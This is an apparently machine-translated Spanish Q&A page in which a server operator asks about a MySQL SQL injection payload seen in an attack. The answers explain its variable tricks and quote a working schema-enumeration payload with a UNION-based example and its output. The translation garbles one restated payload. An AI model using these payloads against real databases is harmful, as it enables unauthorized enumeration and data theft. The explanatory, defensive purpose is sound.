Comprensión de la carga útil de inyección SQL

24

Mi servidor se vio afectado por la siguiente carga útil de inyección SQL: -

((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from('InFoRMAtiON_sCHeMa'.'ColUMNs')where('TAblE_sCHemA'=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))

¿Qué significa (@) y (@: = 0x00) en esta carga útil?

para la ejecución independiente, la carga útil anterior se debe ejecutar como: -

seleccione ((/ / ! 12345sELecT / (@) en (/ ! 12345sELecT / (@: = 0x00), (/ ! 12345sELecT / (@) de ( InFoRMAtiON_sCHeMa . ColUMNs ) donde ( TAblE_sCHemA = DatAbAsE / data / ()) y (@) en (@: = CoNCat (@, 0x3c62723e54616262666426e 75203a20, TaBLe_nAMe, 0x3a3a, column_name))) a));

La carga útil tenía el error de sintaxis.

    
pregunta Aayush 24.07.2017 - 08:58
fuente

1 respuesta

28
  

¿Qué significa (@) y (@: = 0x00) en esta carga útil?

  • @ - es el nombre de la variable
  • @:=0x00 : es la asignación de cero en esta variable.

Nota: := es el operador-asignación

Gracias por @Frank Cedeno y @strnk por su Q & A en los comentarios.

  

@Frank Cedeno: ¿Cómo / ! 12345sELecT / se convierte en seleccionado?

     

@strnk: esta es una extensión específica de MySQL para comentarios SQL , la sELecT solo se incluye en la consulta si la versión del servidor es mayor o igual a 12345 (1.23.45), por lo que filtra los servidores que no son MySQL

Más información:

De websec sql_injection :

Recuperar varias tablas / columnas a la vez

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Ejemplo:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Salida:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

Esta respuesta de Stackoverflow explica el código SQL:

  

En primer lugar, haría la consulta un poco más legible por   reformatearlo:

1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);
     

La asignación de @ es la siguiente:

     
  1. En la línea 3 obtiene el valor 0x00 (Decimal: 0)
  2.   
  3. En la línea 5, este valor se usa para mayor que (table_schema > = 0)
  4.   
  5. La línea 6 es una manera de concentrar cada esquema, tabla y nombre de columna en @
  6.   
  7. @ se devuelve en la línea 1 y contiene una lista concatenada de sus estructuras
  8.   

En la línea 6 se agrega un <br> adicional (0x3C, 0x62,0x72,0x3E) a la   variable para hacer que la salida sea más legible

    
respondido por el Yaron 24.07.2017 - 09:28
fuente

Lea otras preguntas en las etiquetas